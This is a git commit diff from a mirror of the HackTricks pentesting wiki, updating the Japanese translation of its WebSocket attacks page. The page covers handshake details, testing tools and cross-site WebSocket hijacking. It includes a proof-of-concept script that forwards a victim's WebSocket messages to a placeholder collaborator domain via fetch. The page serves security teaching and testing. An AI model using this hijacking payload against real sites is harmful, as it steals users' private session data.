mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/websocket-attacks.md'] to ja
This commit is contained in:
parent
e631a1b0fd
commit
205ee6f52c
@ -2,21 +2,21 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## WebSocketとは
|
||||
## What are WebSockets
|
||||
|
||||
WebSocket接続は、最初の**HTTP**ハンドシェイクを通じて確立され、**長期間**にわたって維持されるように設計されており、トランザクションシステムを必要とせずにいつでも双方向のメッセージングを可能にします。これにより、WebSocketは**低遅延またはサーバー起動の通信**を必要とするアプリケーションに特に有利です。
|
||||
WebSocket接続は、最初の**HTTP**ハンドシェイクを通じて確立され、**長期間**の接続を目的としており、トランザクションシステムを必要とせずにいつでも双方向のメッセージングを可能にします。これにより、WebSocketは**低遅延またはサーバー起動の通信**を必要とするアプリケーションに特に有利です。
|
||||
|
||||
### WebSocket接続の確立
|
||||
### Establishment of WebSocket Connections
|
||||
|
||||
WebSocket接続の確立に関する詳細な説明は[**こちら**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc)でアクセスできます。要約すると、WebSocket接続は通常、以下に示すようにクライアント側のJavaScriptを介して開始されます:
|
||||
WebSocket接続の確立に関する詳細な説明は[**こちら**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc)でアクセスできます。要約すると、WebSocket接続は通常、以下に示すようにクライアント側のJavaScriptを介して開始されます:
|
||||
```javascript
|
||||
var ws = new WebSocket("wss://normal-website.com/ws")
|
||||
```
|
||||
`wss`プロトコルは**TLS**で保護されたWebSocket接続を示し、`ws`は**保護されていない**接続を示します。
|
||||
|
||||
接続の確立中に、ブラウザとサーバー間でHTTPを介してハンドシェイクが行われます。ハンドシェイクプロセスでは、ブラウザがリクエストを送信し、サーバーが応答します。以下の例に示されています:
|
||||
接続の確立中に、ブラウザとサーバーの間でHTTPを介してハンドシェイクが行われます。ハンドシェイクプロセスでは、ブラウザがリクエストを送信し、サーバーが応答します。以下の例に示すように:
|
||||
|
||||
ブラウザがハンドシェイクリクエストを送信:
|
||||
ブラウザがハンドシェイクリクエストを送信します:
|
||||
```javascript
|
||||
GET /chat HTTP/1.1
|
||||
Host: normal-website.com
|
||||
@ -37,16 +37,16 @@ Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
|
||||
|
||||
**WebSocketハンドシェイクの重要なポイント:**
|
||||
|
||||
- `Connection`および`Upgrade`ヘッダーはWebSocketハンドシェイクの開始を示します。
|
||||
- `Sec-WebSocket-Version`ヘッダーは、通常`13`の希望するWebSocketプロトコルバージョンを示します。
|
||||
- Base64エンコードされたランダム値が`Sec-WebSocket-Key`ヘッダーに送信され、各ハンドシェイクがユニークであることを保証し、キャッシュプロキシによる問題を防ぎます。この値は認証のためではなく、応答が誤って構成されたサーバーやキャッシュによって生成されていないことを確認するためのものです。
|
||||
- サーバーの応答における`Sec-WebSocket-Accept`ヘッダーは`Sec-WebSocket-Key`のハッシュであり、WebSocket接続を開くというサーバーの意図を確認します。
|
||||
- `Connection`および`Upgrade`ヘッダーは、WebSocketハンドシェイクの開始を示します。
|
||||
- `Sec-WebSocket-Version`ヘッダーは、希望するWebSocketプロトコルバージョンを示し、通常は`13`です。
|
||||
- Base64エンコードされたランダム値が`Sec-WebSocket-Key`ヘッダーに送信され、各ハンドシェイクがユニークであることを保証し、キャッシングプロキシによる問題を防ぎます。この値は認証のためではなく、応答が誤って構成されたサーバーやキャッシュによって生成されていないことを確認するためのものです。
|
||||
- サーバーの応答における`Sec-WebSocket-Accept`ヘッダーは、`Sec-WebSocket-Key`のハッシュであり、WebSocket接続を開くというサーバーの意図を検証します。
|
||||
|
||||
これらの機能は、ハンドシェイクプロセスが安全で信頼性があることを保証し、効率的なリアルタイム通信への道を開きます。
|
||||
|
||||
### Linuxコンソール
|
||||
|
||||
`websocat`を使用してWebSocketとの生の接続を確立できます。
|
||||
`websocat`を使用して、WebSocketとの生の接続を確立できます。
|
||||
```bash
|
||||
websocat --insecure wss://10.10.10.10:8000 -v
|
||||
```
|
||||
@ -70,9 +70,14 @@ websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
|
||||
- **Burp Suite** は、通常のHTTP通信と非常に似た方法でMitM Websocket通信をサポートしています。
|
||||
- [**socketsleuth**](https://github.com/snyk/socketsleuth) **Burp Suite拡張機能** は、**履歴**を取得し、**インターセプションルール**を設定し、**マッチと置換**ルールを使用し、**Intruder**や**AutoRepeater**を使用することで、Burp内のWebsocket通信をより良く管理できるようにします。
|
||||
- [**WSSiP**](https://github.com/nccgroup/wssip)**:** "**WebSocket/Socket.io Proxy**"の略で、このNode.jsで書かれたツールは、クライアントとサーバー間のすべてのWebSocketおよびSocket.IO通信を**キャプチャ、インターセプト、カスタム**メッセージを送信し、表示するためのユーザーインターフェースを提供します。
|
||||
- [**wsrepl**](https://github.com/doyensec/wsrepl) は、特にペネトレーションテスト用に設計された**インタラクティブWebsocket REPL**です。**受信Websocketメッセージを観察し、新しいメッセージを送信する**ためのインターフェースを提供し、この通信を**自動化**するための使いやすいフレームワークを備えています。
|
||||
- [**wsrepl**](https://github.com/doyensec/wsrepl) は、特にペネトレーションテスト用に設計された**インタラクティブWebsocket REPL**です。**受信Websocketメッセージを観察し、新しいメッセージを送信する**ためのインターフェースを提供し、この通信を**自動化**するための使いやすいフレームワークを提供します。
|
||||
- [**https://websocketking.com/**](https://websocketking.com/) は、**websockets**を使用して他のウェブと通信するための**ウェブ**です。
|
||||
- [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) は、他の通信/プロトコルの種類の中で、**websockets**を使用して他のウェブと通信するための**ウェブ**を提供します。
|
||||
- [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) は、他の通信/プロトコルのタイプの中で、**websockets**を使用して他のウェブと通信するための**ウェブ**を提供します。
|
||||
|
||||
## Decrypting Websocket
|
||||
|
||||
- [https://github.com/Anof-cyber/PyCript](https://github.com/Anof-cyber/PyCript)
|
||||
- [https://github.com/Anof-cyber/PyCript-WebSocket/](https://github.com/Anof-cyber/PyCript-WebSocket/)
|
||||
|
||||
## Websocket Lab
|
||||
|
||||
@ -80,15 +85,15 @@ websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
|
||||
|
||||
## Cross-site WebSocket hijacking (CSWSH)
|
||||
|
||||
**クロスサイトWebSocketハイジャック**、または**クロスオリジンWebSocketハイジャック**は、WebSocketハンドシェイクに影響を与える特定のケースとして識別される**[クロスサイトリクエストフォージェリ(CSRF)](csrf-cross-site-request-forgery.md)**です。この脆弱性は、WebSocketハンドシェイクが**CSRFトークン**や同様のセキュリティ対策なしに**HTTPクッキー**のみで認証されるときに発生します。
|
||||
**クロスサイトWebSocketハイジャック**、または**クロスオリジンWebSocketハイジャック**は、WebSocketハンドシェイクに影響を与える特定のケースの**[クロスサイトリクエストフォージェリ(CSRF)](csrf-cross-site-request-forgery.md)**として特定されます。この脆弱性は、WebSocketハンドシェイクが**CSRFトークン**や類似のセキュリティ対策なしに**HTTPクッキー**のみで認証されるときに発生します。
|
||||
|
||||
攻撃者は、脆弱なアプリケーションに対してクロスサイトWebSocket接続を開始する**悪意のあるウェブページ**をホストすることでこれを悪用できます。その結果、この接続はアプリケーションとの被害者のセッションの一部として扱われ、セッション処理メカニズムにおけるCSRF保護の欠如を利用します。
|
||||
|
||||
### Simple Attack
|
||||
|
||||
**Websocket**接続を**確立**する際に、**クッキー**が**サーバー**に**送信**されることに注意してください。**サーバー**は、送信されたクッキーに基づいて各**特定の** **ユーザー**をその**Websocket** **セッション**に**関連付ける**ためにそれを使用している可能性があります。
|
||||
**websocket**接続を**確立**する際に、**クッキー**が**サーバー**に**送信**されることに注意してください。**サーバー**は、送信されたクッキーに基づいて各**特定の** **ユーザー**を**websocket** **セッション**に**関連付ける**ためにそれを使用している可能性があります。
|
||||
|
||||
次に、例えば**Websocket** **サーバー**がユーザーの**会話の履歴**を**返送**する場合、**"READY"**というメッセージが送信されると、**シンプルなXSS**が接続を確立し(**クッキー**は被害者ユーザーを認証するために**自動的に送信**されます)、**"READY"**を送信することで**会話の履歴**を**取得**できるようになります。
|
||||
次に、例えば**websocket** **サーバー**がユーザーの**会話の履歴**を**返送**する場合、**"READY"**というメッセージが送信されると、**接続を確立する単純なXSS**(**クッキー**は被害者ユーザーを認証するために**自動的に送信**されます)で**"READY"**を送信することで、**会話の履歴**を**取得**できるようになります。
|
||||
```html
|
||||
<script>
|
||||
websocket = new WebSocket('wss://your-websocket-URL')
|
||||
@ -105,7 +110,7 @@ fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
|
||||
```
|
||||
### クロスオリジン + 異なるサブドメインのクッキー
|
||||
|
||||
このブログ投稿 [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) では、攻撃者が **サブドメイン** の **クッキー** を **送信** し、**Websocketがオリジンを正しくチェックしなかったため**、そのサブドメインで **任意のJavascriptを実行** することに成功しました。これにより、通信が可能になり、**トークンを盗む** ことができました。
|
||||
このブログ投稿 [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) では、攻撃者が **サブドメイン** のドメインで **任意のJavascriptを実行** することに成功しました。これは **サブドメイン** であったため、**クッキー** が **送信され**、**WebsocketがOriginを適切にチェックしなかった** ため、通信が可能になり、**トークンを盗む** ことができました。
|
||||
|
||||
### ユーザーからデータを盗む
|
||||
|
||||
@ -140,11 +145,11 @@ WebSocketにおけるレースコンディションも存在します。[この
|
||||
|
||||
## その他の脆弱性
|
||||
|
||||
WebSocketは**サーバー側とクライアント側にデータを送信するメカニズム**であり、サーバーとクライアントが情報をどのように処理するかによって、**WebSocketはXSS、SQLi、またはWebSocketからのユーザー入力を使用した他の一般的なWeb脆弱性を悪用するために使用される可能性があります。**
|
||||
WebSocketは**サーバー側とクライアント側にデータを送信するメカニズム**であり、サーバーとクライアントが情報をどのように処理するかによって、**WebSocketはXSS、SQLi、またはWebの一般的な脆弱性をユーザーの入力を使用して悪用するために利用される可能性があります。**
|
||||
|
||||
## **WebSocketスモグリング**
|
||||
|
||||
この脆弱性により、**逆プロキシの制限を回避する**ことができ、**WebSocket通信が確立された**と信じ込ませることができます(たとえそれが真実でなくても)。これにより、攻撃者は**隠されたエンドポイントにアクセスする**ことができる可能性があります。詳細については、以下のページを確認してください:
|
||||
この脆弱性により、**リバースプロキシの制限を回避する**ことができ、**WebSocket通信が確立された**と信じ込ませることができます(実際にはそうでなくても)。これにより、攻撃者は**隠れたエンドポイントにアクセスする**ことができる可能性があります。詳細については、以下のページを確認してください:
|
||||
|
||||
{{#ref}}
|
||||
h2c-smuggling.md
|
||||
|
Loading…
x
Reference in New Issue
Block a user